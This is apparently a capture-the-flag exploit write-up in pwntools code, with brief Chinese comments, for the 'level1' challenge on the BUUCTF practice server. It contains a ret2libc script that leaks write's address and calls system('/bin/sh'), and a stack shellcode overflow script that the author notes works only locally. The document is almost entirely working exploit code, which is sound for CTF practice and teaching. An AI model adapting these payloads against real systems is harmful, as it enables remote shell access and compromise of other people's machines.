1. from pwn import *
    2. from LibcSearcher import LibcSearcher
    3. context.log_level = "debug"
    4. # io = process("./level1")
    5. io = remote("node4.buuoj.cn",29196)
    6. elf = ELF("./level1")
    7. offset = 0x88
    8. vuln_addr = elf.symbols["vulnerable_function"]
    9. write_plt = elf.plt["write"]
    10. write_got = elf.got["write"]
    11. # 0x0804847B
    12. payload = b"A" * (offset + 4) + p32(write_plt) + p32(vuln_addr) + p32(0) + p32(write_got) + p32(4)
    13. io.sendline(payload)
    14. write_addr = u32(io.recv())
    15. print("recv --- >",hex(write_addr))
    16. libc = LibcSearcher("write",write_addr)
    17. libcbase = write_addr - libc.dump("write")
    18. system_addr = libcbase + libc.dump("system")
    19. bin_sh = libcbase + libc.dump("str_bin_sh")
    20. payload = b"A" * (offset + 4) + p32(system_addr) + p32(0x1) + p32(bin_sh)
    21. io.sendline(payload)
    22. io.interactive()

    打远程的
    shellcode写栈上的估计远程打不通

    1. from pwn import*
    2. context(arch='i386',os='linux',log_level='debug')
    3. io = remote("node4.buuoj.cn",29172)
    4. #io = process('./level1')
    5. sleep(0.1)
    6. shellcode = asm(shellcraft.sh())
    7. buf = io.recvline()
    8. buf_addr = buf[14:22]
    9. buf_addr = int(buf_addr,16)
    10. log.success(hex(buf_addr))
    11. #shellcode = asm(shellcraft.sh())
    12. shellcode = shellcode.ljust(0x8c,b'a')
    13. shellcode+=p32(buf_addr)
    14. io.sendline(shellcode)
    15. io.interactive()

    这个本地打的通,远程不行,